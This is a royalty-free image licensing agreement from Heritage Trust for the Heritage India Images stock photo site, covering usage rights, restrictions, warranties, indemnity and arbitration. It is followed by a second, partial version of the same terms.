licensing

For regular and special images, the Royalty-Free non-exclusive agreements shall be applicable.

THIS IS A LEGAL AGREEMENT (THE "AGREEMENT") BETWEEN YOU, YOUR COMPANY, LICENSEE, YOUR CLIENT, PURCHASER (IF ANY), AS THE CASE MAY BE (COLLECTIVELY "LICENSEE")

AND HERITAGE TRUST,  A CHARITABLE TRUST REGISTERED UNDER INDIAN REGISTRATION ACT AND HAVING ITS REGISTERED OFFICE at Khasra No 819, Village & Post Office Mandi, New Delhi - 110047, HEREINAFTER REFERRED TO AS "HT" (WHICH EXPRESSION SHALL MEAN AND INCLUDE ITS SUBSIDIARIES, AFFILIATES, SUCCESSORS, NOMINEES, ADMINISTRATORS AND PERMITTED ASSIGNS).

THIS AGREEMENT APPLIES TO ALL THE LICENSES ISSUED VIA THE WEB AND VIA LOCAL SALES REPRESENTATIVES, AND IS APPLICABLE TO ONLINE DELIVERY OF THE LICENSED MATERIAL. BY ORDERING A LICENSE, LICENSEE, DESIGNATED END USER AND PURCHASER, IS CONFIRMING THAT IT HAS CAPACITY TO ENTER INTO A CONTRACT UNDER ITS LOCAL LAWS.

1. DEFINITIONS. In this Agreement following definitions apply

1.1 GALLERY DATABASE means any digital library catalogue of images maintained or accessed via HT through its website www.heritageindiaimages.com which may be divided in any manner.

1.2 DISCLOSED AGENT OR PURCHASER means the entity acquiring the license on behalf of the Designated End User. The Disclosed Agent may be a design firm, freelancer, employee, or any other party contracted by the Designated End User. If the Disclosed Agent is NOT the same as the Designated End User, the Disclosed Agent acts as an agent for the Designated End User, and both the parties are bound by these terms and conditions.

1.3 DESIGNATED END USER OR LICENSEE means the entity acquiring a license hereunder or, if there is a separate purchaser, the entity specifically designated as Licensee during the purchase process and set forth as such in the Invoice. During the purchase process of the Licensed Material, you will be asked to identify that specific "Designated End User" of the Licensed Material. If you are an agent or contractor or representative or designer working on a project for a specific client, it is that client and/or the specific product or service they are promoting who is the "Designated End User" of the image.

1.4 LICENSED MATERIAL means any still image digital files, film or video footage, audio or sound, visual representation generated optically, electronically, digitally or by any other means, including, without limitation any original digital files, or in any other format protected by all the rights, including, without limitation copyright, trademark, patent or other intellectual property rights and proprietary rights which is licensed to Licensee by HT under the terms and conditions of this Agreement. Any reference in this Agreement to the Licensed Material shall be to each individual item within the Licensed Material and also to the Licensed Material as a whole.

1.5 EDITORIAL USE Non-private, non-commercial use and broad distribution for the purpose of conveying information, facts, or opinion to the general public relating to events that are newsworthy or of public interest.

1.6. EDITORIAL LICENSED MATERIAL Licensed Material to be used for "Editorial Use".

1.7 LICENSEE WORK means an end product or service that has been created by or on behalf of the Licensee using independent skill and effort and that incorporates a Reproduction of the Licensed Material as well as other material.

1.8 REPRODUCTION AND REPRODUCE means any form of copying or publication of the whole or a part of any Licensed Material, via any medium and by whatever means, the distortion, alteration, cropping or manipulation of the whole or any part of the Licensed Material, and the creation of any derivative work from, or that incorporates, the Licensed Material.

1.9 INVOICE means the computer-generated or pre-printed standard form invoice provided by HT setting out the terms agreed between HT and the Licensee. The Invoice shall be incorporated into this Agreement and all references to the Agreement shall include the Invoice.

1.10 LICENSE FEE means the amount payable for the Licensed Material on HT 's Website.

1.11 RIGHTS AND RESTRICTIONS means the information available to the Licensee at the time of the Licensed Material selection, either: (i) accompanying the Licensed Material on HT's website (including all areas of the purchase process); (ii) in a written quote issued by HT; or (iii) in the editorial feed (if so delivered), and as might also be reflected in the Invoice. Such restrictions may include, without limitation, the permitted scope of use, duration of license, any territory or other use restrictions applicable to the Licensed Material selected, and the corresponding price for the license of such Licensed Material ("License Fee"). The Rights and Restrictions shall be incorporated into this Agreement and all references to the Agreement shall include the Rights and Restrictions.

2. GRANT OF RIGHTS AND RESTRICTIONS

2.1 HT grants to the Licensee a limited, non-exclusive, non-sub-licensable, non-transferable, temporary, restricted and non-assignable right to reproduce the Licensed Material identified in the Invoice, solely to the extent explicitly stated in this Agreement. The rights granted under the Agreement may be exercised by sub-contractors of the Licensee (including Purchaser), provided that such sub-contractors agree to abide by all the terms and conditions of this Agreement and Terms of Use of the Website.

2.2 Use of the Licensed Material is strictly limited to the use, medium, period of time, placement, size of the Licensed Material, territory and any other restrictions specified in the Rights and Restrictions and the Invoice.

2.2.1 HT grants a license to reproduce or use the Licensed Material (except for images listed under the "Star Collection") for a period of 10 years only in the territory/country in which the license to use the Licensed Material has been acquired by making the payment. The license will automatically terminate, unless terminated earlier, at the end of the license period. If the Licensee wants to use the Licensed Material after a period of 10 years, or want to use the Licensed Material in any other territory/country, the Licensee has to procure a fresh license from HT and pay the license fee as per the current pricing of the Licensed Material at that time.

2.2.2 Use of the Licensed Material listed under the "Star Collection" is under the following terms and conditions:
(i) The pricing of the "Star Collection" is based on the duration and territory of usage of the Licensed Material. Further the usage of the Licensed Material is strictly restricted to the industry selected for the Licensed Material. Any Licensed Material used outside the selected territory, industry or after the time period of usage shall constitute breach of the Agreement and will amount to copyright infringement. For web usage, the Licensed Material can be used worldwide.
(ii) The Licensee is not authorized to use the Licensed Material under the "Star Collection" to give a testimonial, endorsement or use the name of the model(s) in any manner without the prior written permission from HT.

2.3 Pornographic, defamatory, libelous, immoral, obscene, fraudulent or otherwise unlawful use of the Licensed Material is strictly prohibited, whether directly or in context or in juxtaposition with specific subject matter. You further agree not to use the Licensed Material for any sensitive subject matter, as determined by HT, including, but not limited to, Sex related products and services, sexually transmitted diseases, substance abuse, alcohol, tobacco, AIDS, cancer, mental ailments, homosexual or alternative lifestyle issues, and physical or mental abuse, without advance written consent from HT. Sensitive subject usage pertains to both commercial and editorial usage. Contact HT for verification of model releases. Availability of model releases does not grant the right to use the Licensed Material in any sensitive issues mentioned above.

2.4 Unless additional rights are stipulated in the Rights and Restrictions or granted specifically pursuant to a separate License Agreement, Editorial Licensed Material may not be used for, including, but not limited to, any commercial, promotional, endorsement, advertising or merchandising use, as part of billboard, trade show or exhibit display. For clarification, in this Agreement use of Licensed Material in an "editorial" manner means restrictive use relating to events that are newsworthy or of public interest.

2.5 Editorial Licensed Material may be cropped, provided that the editorial integrity of the Licensed Material is maintained and not compromised, but shall not, under any circumstances, otherwise be rotated, altered, changed, manipulated and tampered with, either manually or electronically, without HT's prior written permission.

2.6 Licensed Material shall not be incorporated into a logo, trademark or service mark.

2.7 Licensee may not make the Licensed Material available in any medium in a manner intended to allow or invite persons to download or extract the Licensed Material.

2.8 Licensed Material may not be modified, reconfigured or repurposed for any use in any mobile-directed websites or mobile applications that are specifically created for viewing of the Licensed Material on mobile applications, without obtaining the prior written consent of HT.

2.9 Licensee do not have the right to keep in possession or store any high-resolution files of the Licensed Material on their server, any digital media, disk or drive whether online or in any other medium from where any third party can have access to the Licensed Material.

2.10 If any Licensed Material featuring a model or property is used in connection with a subject that would be unflattering or controversial to a reasonable person to believe that the model personally uses or endorses a product or service or if the Licensed Material is used along with some descriptive information, including, but not limited to name, educational qualification, age, career related information, Licensee must accompany each such use with a statement that indicates that: (i) the Licensed Material is being used for illustrative purposes only; and (ii) any person depicted in the Licensed Material, if any, is a model.

2.11 Unless otherwise authorized by applicable law or specified in the Rights and Restrictions, Licensee may not, directly or indirectly, reproduce the final product of the Licensed Material in any secondary reproductions, such as compilations, in-context promotions or on file-sharing, social networking websites such as YouTube, Facebook, Myspace, etc. or screen shots. Such reproductions require an additional license and prior written permission from HT and may be subject to payment of additional license fees.

2.12 Licensed Material shall not be used contrary to any restriction on use that is provided to Licensee prior to or at the time the Licensed Material is delivered to Licensee. Such restrictions may be included in the Rights and Restrictions or in any other written communication from HT. Any such restriction provided to the Licensee shall be incorporated into and become part of this Agreement.

2.13 Licensed Material may be cropped but shall not, under any circumstances, otherwise be altered, changed or tampered with, either manually or electronically, without HT express written permission.

2.14 Upon reasonable notice, HT may inspect any records, accounts and books relating to the Reproduction of any of the Licensed Material to ensure that the Licensed Material is being used in accordance with this Agreement.

2.15 Licensee grants to HT the irrevocable, perpetual, royalty-free, non-exclusive right and license to use Final Elements solely for the promotion of HT or any of its subsidiaries. For purposes of this paragraph, "Final Elements" shall mean any end product produced by Licensee pursuant to this Agreement, including, but not limited to use in magazines, books, feature films, television productions and other print.

2.16 Where Purchaser is licensing Licensed Material on behalf of a Licensee, Purchaser hereby represents and warrants that: (i) Purchaser is authorized to act as an agent on behalf of the Licensee and has full power and authority to bind the Licensee to this Agreement; and (ii) if Licensee disputes Purchaser's power and authority to act on behalf of Licensee with respect to this Agreement, Purchaser shall be bound and liable for any failure of Licensee to comply with the terms of this Agreement. Nothing in this Section shall serve to excuse Purchaser's obligation to make payment and be liable to HT for the Licensed Material.

2.17 Licensee may not falsely represent, expressly or impliedly, that Licensee is the original creator of a visual work that derives a substantial part of its artistic components from the Licensed Material.

2.18 If the Rights and Restrictions include website use, Licensee shall post terms and conditions on its permitted websites that include restrictions on downloading the Licensed Material for other than personal use, and prohibit republication, retransmission, reproduction or other use of the Licensed Material.

2.19 Any of the body parts or basic features of the model(s) in the Licensed material must not be cropped, altered, manipulated or distorted without taking a prior written approval from HT.

3. INTELLECTUAL PROPERTY RIGHTS AND PHOTO CREDIT

3.1 HT is the sole and exclusive owner of all the material and content on HT's Websites, including, without limitation www.heritageindiaimages.com and websites of their affiliates and subsidiaries. All material and content on these Websites, including, but not limited to design, layout, images, 3D illustrations, documents, files, photographs, content, text, graphics, sound, videos, footage, trade-dress, trademarks, patents, written material ("HT Content") are the sole and exclusive property of HT and is protected by all the applicable laws, including, without limitation copyright, trademark, trade-names, patents, designs, internet domain names, data protection, IT Act, privacy and publicity rights and other rights and statutes. Use of any HT Content without the prior express written permission and license to use is strictly prohibited. All rights, title, ownership, intellectual property rights and proprietary rights in the HT's Website and its content shall always remain with HT, its affiliates and subsidiaries and shall not pass on to the Licensee, their representatives or any third party at any time.

3.2 COPYRIGHT HT owns all copyrights in all the Content and Licensed Material on the Website. No ownership in any Content and Licensed Material shall to the Licensee by the issuance of the license contained in this Agreement. Except as expressly stated in this Agreement, HT grants Licensee no right or license, express or implied, to the Licensed Material. Licensee shall not remove any copyright or other proprietary rights notice contained in the Licensed Material and in any related promotional materials provided on this Website.

3.3 TRADEMARKS

3.3.1 HT is the exclusive owner and right holder of HT Trademarks, www.heritageindiaimages.com, www.shotindia.com, HT Audio Visuals or any other HT's trade names, trademarks, logos or service marks and any other slogan or design contained in the Website and otherwise used in trade, including the names of all Licensed Material collections (''HT Marks''). HT Marks shall remain the sole property of HT, its affiliates and subsidiaries, and may not be copied, imitated or used, in whole or in part, without the prior written permission of HT or the applicable trademark holder.

3.3.2 Licensee is not allowed to use, register, or assist others in using or registering any trademarks, trade names, logos, internet domain names, or any mark or name confusingly similar to HT Marks or belonging to HT without prior written consent from HT.

3.3.3 Licensee will not now or in the future contest the validity of HT Marks nor will oppose or assist others in opposing any registration of any of the HT Marks.

3.3.4 Licensee is not allowed to use any HT Marks in connection with any of their Works. All goodwill accruing to the HT Marks shall belong exclusively to HT.

3.3.5 Licensee agrees not to use HT Marks in any manner that might tarnish, disparage, or reflect adversely on such trademarks or HT.

3.3.6 Licensee agrees not to use any HT Marks or any variant thereof including misspellings as a domain name or as part of a domain name regardless of the top-level domain, or as a meta-tag, hidden text, keyword, or any other type of programming code or data.

3.3.7 Licensee cannot at any time, adopt or use, without HT's prior written consent any word or marks which is similar to or likely to be confused with HT Marks. In addition, the look and feel of the Website, including all page headers, custom graphics, button icons and scripts, is the service mark, trademark and/or trade dress of HT and may not be copied, imitated or used, in whole or in part, without HT's prior written permission.

3.3.8 Nothing in this Agreement shall confer upon Licensee any right of ownership in HT Marks.

3.3.9 Licensee cannot use HT Marks, Licensed Material or other Content of HT to link to their Website without the prior written consent of HT.

3.3.10 Licensee cannot frame or hotlink to the Website or any Content other than its own without the prior written consent of HT.

3.3.11 All other trademarks, registered trademarks, product names and company names or logos mentioned in the Website are the property of their respective owners. Reference to any products, services, processes or other information, by trade name, trademark, manufacturer, supplier, or otherwise does not constitute or imply endorsement, sponsorship or recommendation thereof by HT.

3.3.12 PHOTO CREDIT Editorial Licensed Material must include the following credit line adjacent to the Licensed Material: "Heritage India Images/Photographer's Name" or as otherwise notified by HT. If Licensee omits the credit line in the use of Licensed Material, an additional fee in an amount up to one hundred percent (100%) of the original License fee may be payable by Licensee, at HT's sole discretion. The foregoing fee shall be in addition to any other rights or remedies that HT may have at law or in equity.

4. RELEASES

4.1 HT will notify Licensee if it has obtained a model release and/or a property release for the Licensed Material, either in the Licensed Material on the Website, in the Rights and Restrictions or by written notice to the Licensee. The warranty and indemnity set forth in Clauses 5.1(iv) and 6.1 below are only provided if and when such written notification is given. If no such notification is given, then no such model or property release has been obtained and thereby, the warranty and indemnity as set forth in Clauses 5.1(iv) and 6.1 would become void and not enforceable. In the event that no notification as to model or property release is provided by HT, HT shall not be liable for any claims made by any third parties relating to use of the Licensed Material not having the model or property release. Licensee acknowledges that some jurisdictions provide legal protection against a person's image, likeness or property being used for commercial purposes without their consent. Neither HT nor any party on whose behalf HT licenses Licensed Material (each, a "Licensor") makes any representations or warranties as to whether any additional fees or payments may be due to any person depicted in the Licensed Material pursuant to the requirements of any applicable law, and Licensee shall be solely responsible for any such additional fees or payments.

4.2 Except where Licensee is specifically notified that a model and/or property release has been obtained by HT, neither HT nor any Licensor grants any rights or makes any warranties with regard to the use of names, people, likeness, property, trademarks, trade dress, logos, registered, unregistered or copyrighted audio, designs or works of art or architecture depicted in any Licensed Material. Licensee shall be solely responsible for determining whether a release is required in connection with any proposed use of the Licensed Material, and Licensee shall be solely responsible for obtaining any required release. As to any release delivered with any Editorial Licensed Material, neither HT, nor any Licensor, makes any representation, warranty or guarantee as to its sufficiency with regard to any use of the Licensed Material made by the Licensee. Licensee shall obtain all necessary individual, model, property, team logo, trademark, audio and other releases, approvals and clearances from third parties as may be required for the Licensee's use of the Licensed Material prior to using the Licensed Material.

5. WARRANTY AND LIMITATION OF LIABILITY

5.1 HT warrants that: (i) it has all necessary rights and authority to enter into and perform this Agreement; (ii) the Licensed Material will be free from defects in material and workmanship for thirty (30) days from delivery (Licensee's sole and exclusive remedy for a breach of this warranty being the replacement of the Licensed Material); (iii) Licensee's use of the Licensed Material in its original form, and when used strictly in accordance with this Agreement, will not infringe on any copyrights or moral rights of any person or entity; and (iv) if a release is provided by HT pursuant to Section 4.1, Licensee's use of the Licensed Material in its original form, and when used in accordance with this Agreement will not infringe on any trademark or other intellectual property right and will not violate any right of privacy or right of publicity.

5.2 HT uses reasonable efforts to ensure the accuracy, correctness and reliability of the information and Content, but HT makes no representations or warranties as to the Content posted by the third party User(s) as to its accuracy, correctness, reliability and any other irregularity.

5.3 NEITHER HT NOR ANY LICENSOR MAKES ANY OTHER WARRANTIES, EXPRESS OR IMPLIED, REGARDING THE LICENSED MATERIAL OR ITS DELIVERY SYSTEMS, INCLUDING, WITHOUT LIMITATION, ANY IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL HT, ITS AFFILIATES, SUBSIDIARIES AND THEIR RESPECTIVE DIRECTORS, EMPLOYEES, AGENTS, MEMBERS OR ANY LICENSOR BE LIABLE TO LICENSEE OR ANY OTHER PERSON OR ENTITY FOR ANY PUNITIVE, SPECIAL, INDIRECT, CONSEQUENTIAL OR INCIDENTAL DAMAGES, OR ANY OTHER DAMAGES, COSTS OR LOSSES, INCLUDING BUT NOT LIMITED TO LOSS OF USE, LOSS OF PROFITS OR LOSS OF DATA, WHETHER IN AN ACTION IN CONTRACT, TORT (INCLUDING, BUT NOT LIMITED TO NEGLIGENCE) OR OTHERWISE, ARISING OUT OF THIS AGREEMENT, IN ANY WAY CONNECTED WITH THE USE OF THE WEBSITE, THE SERVICES, HT IMAGE CONTENT OR THE MAETRIALS CONTAINED IN OR ACCESSED THROUGH THE WEBSITE, INCLUDING WITHOUT LIMITATION ANY DAMAGES CAUSED BY OR RESULTING FROM RELIANCE BY USER ON ANY INFORMATION OBTAINED FROM HT, OR THAT RESULTS FROM MISTAKES, OMISSIONS, INTERRUPTIONS, DELETION OF FILES OR EMAIL, ERRORS, DEFECTS, VIRUSES, DELAYS IN OPERATION OR TRANSMISSION OR ANY FAILURE OF PERFORMANCE, WHETHER OR NOT RESULTING FROM ACTS OF GOD, COMMUNICATIONS FAILURE, THEFT, DESTRUCTION OR UNAUTHORIZED ACCESS TO HT'S RECORDS, PROGRAMS OR SERVICES, EVEN IF HT OR ITS LICENSORS, AS APPLICABLE, HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES, COSTS OR LOSSES. HT SHALLL NOT BE LIABLE FOR ANY DAMAGES, COSTS OR LOSSES ARISING OUT OF OR AS A RESULT OF MODIFICATIONS MADE TO THE LICENSED MATERIAL BY LICENSEE OR THE CONTEXT IN WHICH LICENSED MATERIAL IS USED IN A LICENSEE WORK. NO ACTION, REGARDLESS OF FORM OR NATURE, ARISING OUT OF THIS AGREEMENT MAY BE BROUGHT BY OR ON BEHALF OF LICENSEE OR PURCHASER MORE THAN ONE (1) YEAR AFTER THE CAUSE OF ACTION FIRST AROSE. SOME JURISDICTIONS DO NOT PERMIT THE EXCLUSION OR LIMITATION OF IMPLIED WARRANTIES OR LIABILITY FOR CERTAIN CATEGORIES OF DAMAGES.

5.4 In no event shall the aggregate liability of HT, whether in contract, warranty, tort (including negligence, whether active, passive or imputed), product liability, strict liability or other theory, arising out of or relating to the use of the site exceed any compensation the Licensee or the Purchaser pay, if any, to HT for access to or use of the Website and the Licensed Material.

6. INDEMNIFICATION

6.1 Provided Licensed Material is only used in accordance with this Agreement and Terms of Use of the Website and Licensee is not otherwise in breach of this Agreement and as Licensee's sole and exclusive remedy for any alleged or actual breach of the representations and warranties set forth in Clause 5, HT shall subject to clause 5.3, 6.3 and 9.7, defend, indemnify and hold Licensee harmless from all damages (except punitive damages not directly attributable to acts of HT), liabilities and expenses (including reasonable attorneys' fees and permitted and authorized costs) arising out of or connected with any actual or threatened lawsuit, claim or legal proceeding alleging that HT is in breach of its warranties as set forth in Clause 5 above. The foregoing states HT's entire indemnification obligation under this Agreement.

6.2 Licensee shall defend, indemnify and hold HT and its parent, subsidiaries and commonly owned or controlled affiliates and their respective officers, directors, agents and employees harmless from all damages (except punitive damages not directly attributable to acts of Licensee), liabilities and expenses (including reasonable attorneys' fees and permitted and authorized costs) arising out of or as a result of claims by third parties relating to: (i) Licensee's use of any Licensed Material outside the scope of this Agreement; (ii) any other actual or alleged breach by Licensee of this Agreement; or (iii) Licensee's failure to obtain any required release. Such indemnification is in addition to HT's right to terminate for a breach of the representations and warranties and is not a waiver or limitation of HT's other rights or remedies.

6.3 The party seeking indemnification pursuant to this Clause 6 shall promptly notify the other party of such claim. At indemnifying party's option, indemnifying party may assume the handling, settlement or defense of any claim or litigation, in which event indemnified party shall cooperate in the defense of any such claim or litigation. Indemnified party shall have the right to participate in such litigation, at its own expense, through counsel selected by indemnified party. The indemnifying party will not be liable for legal fees and other costs incurred prior to the other party giving notice of the claim for which indemnity is sought.

7. CONDITION OF LICENSED MATERIAL

Licensee should examine all Licensed Material for possible defects (whether digital or otherwise) before sending any Licensed Material for Reproduction. Without prejudice to Section 5.1(ii) above, HT shall not be liable for any loss or damage suffered by Licensee or any third party, whether directly or indirectly, arising from any alleged or actual defect in any Licensed Material or its caption or in any way from its Reproduction.

8. GOVERNING LAW AND JURISDICTION

Any dispute, violation, controversy, contest or claim arising out of or relating to this Agreement or the breach, termination or validity thereof (hereinafter the "Disputes") shall be resolved amicably in the first instance. The Parties agree to meet to resolve such dispute in good faith. Should such a solution not be reached, within [30] days from the date of commencement of the dispute, difference or disagreement or such longer period of time as may be mutually agreed by the Parties in writing, such dispute, difference or disagreement shall be referred to Arbitration and shall be finally resolved through arbitration conducted by a tribunal of three arbitrators, with the right of each party to appoint an arbitrator, who in turn will appoint a Presiding Arbitrator. The Presiding Arbitrator shall pass a speaking award. Any order/directions/awards of the majority of the tribunal shall be final and binding on both the parties. The arbitration proceedings shall be in accordance with the Indian Arbitration and Conciliation Act 1996 and Rules there under as at present in force. The seat of arbitration shall be Delhi, India. The arbitration shall be administered in accordance with its practice, rules and regulations. If the award passed in the Arbitration proceeding is not acceptable to any of the Party, then the Party is free to approach the appropriate court of law as agreed herein below. This Agreement shall be construed in accordance with and governed by the laws of India without giving effect to their conflict of laws principles or rules. The courts at Delhi, India shall have exclusive Jurisdiction.

9. MISCELLANEOUS

9.1 UNAUTHORIZED USE: Any use of the Licensed Material in a manner not expressly authorized by this Agreement or in breach of a term of this Agreement constitutes copyright infringement and other violation, entitling HT to exercise all rights and remedies available to it under copyright laws and other statutes around the world. Licensee shall be responsible for any damages resulting from any such copyright infringement and other violation, including any claims by a third party. In addition and without prejudice to HTs' other remedies under this Agreement, HT reserves the right to charge and Licensee agrees to pay a fee equal to up to five (5) times HT standard license fee for the unauthorized use of the Licensed Material.

9.2 TERMINATION: Notwithstanding any of these terms and conditions, HT reserves the right, without notice in its sole discretion, to terminate Licensee's account and/or block Licensee's use of the Website. HT reserves the right to terminate this Agreement in the event Licensee: (i) enters the Agreement after having received the notice from HT for unauthorized use of the Licensed Material; (ii) provides inaccurate information for proposed usage of the Licensed Material; or (iii) otherwise breaches any of the terms and conditions of the Agreement and Terms of Use of the Website; (iv) Upon termination, Licensee must destroy and cease to use, delete all digital files from Licensee's database, return to HT the Licensed Material copies and related documentation thereof with immediate effect, and also return the License Work partial-control of Licensee.

9.3 REMEDY FOR BREACH: Licensee agree that any breach of this Agreement by Licensee or their representatives would cause HT irreparable harm, injury, loss and damage, the extent of which would be impossible to ascertain and for which monetary damages would not be an adequate remedy. Accordingly, in addition to any other remedies HT may have at law or in equity, HT shall be entitled to injunctive and other equitable relief in the event of any such breach of this Agreement by Licensee or their representatives.

9.4 HT reserves the right to change any of the terms and conditions contained in this Agreement or any policy or guideline of the Website, at any time and in its sole discretion. Licensee's continued use of the Website following the posting of such changes will constitute Licensee's acceptance of such changes and Agreement.

9.5 ELECTRONIC STORAGE: For all Licensed Material that Licensee takes delivery of in electronic form, Licensee must retain the copyright symbol, the name of HT and the image number or other identification number associated with the Licensed Material as may be included as part of the electronic file containing the Licensed Material that is stored on Licensee's computers. Licensee may not make additional high-resolution copies of the Licensed Material and Licensee shall maintain a robust firewall to safeguard against unauthorized third-party access to the Licensed Material. Upon the expiration or earlier termination of this Agreement, Licensee shall promptly delete and remove the Licensed Material from Licensee's premises, computer systems and storage (electronic or physical) and shall ensure that its subcontractors do likewise.

9.6 AUDIT/CERTIFICATE OF COMPLIANCE: Upon reasonable notice, Licensee shall provide sample copies of Reproductions containing Licensed Material to HT. In addition, upon reasonable notice, HT may, at its discretion, either through its own employees or through a third party, audit Licensee's records directly related to this Agreement and use of Licensed Material in order to verify compliance with the terms of this Agreement. Where HT reasonably believes that Licensed Material is being used outside the scope of the license granted under this Agreement, Licensee shall, at HT request, provide a certificate of compliance signed by an officer of Licensee, in a form to be approved by HT.

9.7 WITHDRAWAL: Upon notice from HT, or upon Licensee's knowledge that any Licensed Material is subject to a threatened or actual claim of infringement, violation of another right, or any other claim for which HT may be liable herein, or if HT withdraws any Licensed Material for any good reason, Licensee will physically remove the Licensed Material from its premises, computer systems and storage (electronic or physical) and, cease any future use at its own expense.

9.8 SEVERABILITY: If one or more of the provisions contained in this Agreement is found to be invalid, illegal or enforceable in any respect, the validity, legality and enforceability of the remaining provisions shall not be affected. Such provisions shall be revised only to the extent necessary to make them enforceable.

9.9 ENTIRE AGREEMENT: This Agreement, Invoice and Terms of Use of the Website (incorporated by reference) contain all the terms of this Agreement.

9.10 WAIVER: No action of HT, other than express written waiver, may be construed as a waiver of any of provisions of this Agreement. A delay on the part of HT of its rights or remedies will not operate as a waiver of such rights or remedies, and a single or partial exercise by HT of any such rights or remedies will not preclude other or further exercise of that right or remedy. A waiver of a right or remedy on any occasion will not be construed as a bar to or waiver of rights or remedies on any other occasion. Any rights not expressly granted herein are reserved.

ACKNOWLEDGEMENT YOU ACKNOWLEDGE AND AGREE THAT YOU HAVE READ THIS AGREEMENT AND UNDERSTAND IT PRIOR TO AGREEING TO IT. IN CONSIDERATION OF HT AGREEING TO PROVIDE THE CONTENT, YOU AGREE TO BE BOUND BY ALL THE TERMS AND CONDITIONS OF THIS AGREEMENT. YOU FURTHER AGREE THAT THIS IS THE ENTIRE AGREEMENT AND SUPERSEDES ANY PROPOSAL OR PRIOR AGREEMENT, ORAL OR WRITTEN, AND ANY OTHER COMMUNICATION BETWEEN HT AND YOU RELATING TO THE SUBJECT OF THIS AGREEMENT.

 



 

THIS IS A LEGAL AGREEMENT (HEREINAFTER REFERRED TO AS THE "AGREEMENT") BETWEEN YOU/ PURCHASER (IF ANY) YOUR COMPANY, AFFILIATES, SUBSIDIARIES, EMPLOYER AND/OR CLIENT (IN CASE YOU ARE AN AGENT ACTING FOR A SINGLE CLIENT), AS THE CASE MAY BE (COLLECTIVELY "LICENSEE")

AND HERITAGE TRUST, WHICH OWNS AND OPERATES THE WEBSITE WWW.HERITAGEINDIAIMAGES.COM (HEREINAFTER REFERRED TO AS "WEBSITE"), A CHARITABLE TRUST REGISTERED UNDER INDIAN REGISTRATION ACT AND HAVING ITS REGISTERED OFFICE at Khasra No 819, Village & Post Office Mandi, New Delhi - 110047, HEREINAFTER REFERRED TO AS "HT" (WHICH EXPRESSION SHALL MEAN AND INCLUDE ITS AFFILIATES, SUBSIDIARIES, ITS SUCCESSORS, NOMINEES, ADMINISTRATORS AND PERMITTED ASSIGNS).

THIS AGREEMENT APPLIES TO ALL THE LICENSES ISSUED VIA THE WEB AND VIA LOCAL SALES REPRESENTATIVES, AND IS APPLICABLE TO ONLINE DELIVERY OF THE LICENSED MATERIAL. BY ORDERING A LICENSE, LICENSEE, DESIGNATED END USER AND PURCHASER, IS CONFIRMING THAT IT HAS CAPACITY TO ENTER INTO A CONTRACT UNDER ITS LOCAL LAWS.

1. DEFINITIONS

1.1 "GALLERY DATABASE" means any digital library or catalogue of images maintained or accessed via HT through its website www.heritageindiaimages.comwhich may be divided in any manner.

1.2 DISCLOSED AGENT OR PURCHASER means the entity acquiring the license on behalf of the Designated End User. The Disclosed Agent may be a design firm, freelancer, employee, or any other party contracted by the Designated End User. If the Disclosed Agent is NOT the same as the Designated End User, the Disclosed Agent acts as an agent for the Designated End User, and both the parties are bound by these terms and conditions.

1.3 DESIGNATED END USER OR LICENSEE means the entity acquiring a license hereunder or, if there is a separate purchaser, the entity specifically designated as Licensee during the purchase process and set forth as such in the Invoice. During the purchase process of the Licensed Material, you will be asked to identify that specific "Designated End User" of the Licensed Material. If you are an agent or contractor or representative or designer working on a project for a specific client, it is that client and/or the specific product or service they are promoting who is the "Designated End User" of the image.

1.4 EDITORIAL LICENSED MATERIAL means Licensed Material used for reporting events that are newsworthy or of public interest that is licensed for use in an editorial manner.

1.5 INVOICE means the computer generated or pre-printed standard form invoice provided by HT or an authorized distributor setting out the terms agreed with the Licensee. The invoice shall be incorporated into this Agreement and all references to the Agreement shall include the invoice.

1.6. LICENSED MATERIAL means any still image, film or video footage, visual representation, including any negatives, transparencies, film imprints, prints, original digital files, or any other product(s) protected by copyright, trademark, patent or other rights, which is licensed to Licensee by HT under the terms of this Agreement. Any reference in this Agreement to the Licensed Material shall be to each individual item within the Licensed Material and also to the Licensed Material as a whole.

1.7 LICENSEE WORK means an end product or service that has been created by or on behalf of Licensee using independent skill and effort and that incorporates a Reproduction of the Licensed Material as well as other Material.

1.8 REPRODUCTION AND REPRODUCE means any form of copying, distribution, duplication or publication of the whole or a part of any Licensed Material, via any medium any by whatever means, the distortion, alteration, cropping or manipulation of the whole or any part of the Licensed Material, and the creation of any derivative work from, or that incorporates, the Licensed Material.

1.9 RIGHTS AND RESTRICTIONS means the information available to the Licensee at the time of accessing the Website and selection of the Licensed Material, either: (i) accompanying the Licensed Material on the Website (including all areas of the purchase process); (ii) Terms of Use of the site; (iii) in a written quote issued by HT; (iv) in the editorial feed; (v) in the invoice, and (vi) in any other written communication accompanying the Licensed Material. Such restrictions may include, without limitation, the permitted scope of use, restrictions for usage, duration of license, any territory or other restrictions applicable to the Licensed Material selected. The Rights and Restrictions shall be incorporated into this Agreement and all references to the Agreement shall include the Rights and Restrictions.

2. GRANT OF RIGHTS AND RESTRICTIONS

2.1 HT grants to Licensee a non-exclusive, non-sub-licensable, temporary, restricted and non-assignable right to use and reproduce the Licensed Material identified in the Invoice, solely to the extent explicitly stated in this Agreement. The rights granted under the Agreement may be exercised by sub-contractors of the Licensee, provided that such subcontractors agree to abide by all the terms and conditions of this Agreement and Terms of Use of the Website.

2.2 Unless additional rights are stipulated in the Rights and Restrictions or granted specifically pursuant to a separate License Agreement, Editorial Licensed Material may not be used for including, but not limited to, any commercial, promotional, endorsement, advertising or merchandising use, as part of billboard, trade show or exhibit display. For clarification, in this Agreement use of Licensed Material in an "editorial" manner means restrictive use relating to events that are newsworthy or of public interest.

2.3 Editorial Licensed Material may be cropped, provided that the editorial integrity of the Licensed Material is maintained and not compromised, but shall not, under any circumstances, otherwise be rotated, altered, changed, manipulated and tampered with, either manually or electronically, without HT's prior written permission.

2.4 Use of the Licensed Material is strictly limited to the use, medium, period of time, placement, size of Licensed Material, territory and any other restrictions specified in the Rights and Restrictions. HT grants a license to reproduce or use the Licensed Material for a period of 10 years only in the territory/country in which the license to use the Licensed Material has been acquired by making the payment. The license will automatically terminate, unless terminated earlier, at the end of the license period. If the Licensee wants to use the Licensed material after a period of 10 years, or want to use the Licensed Material in any other territory/country, the Licensee has to procure a fresh license from HT and pay the license fee as per the current pricing of the Licensed Material at that time.

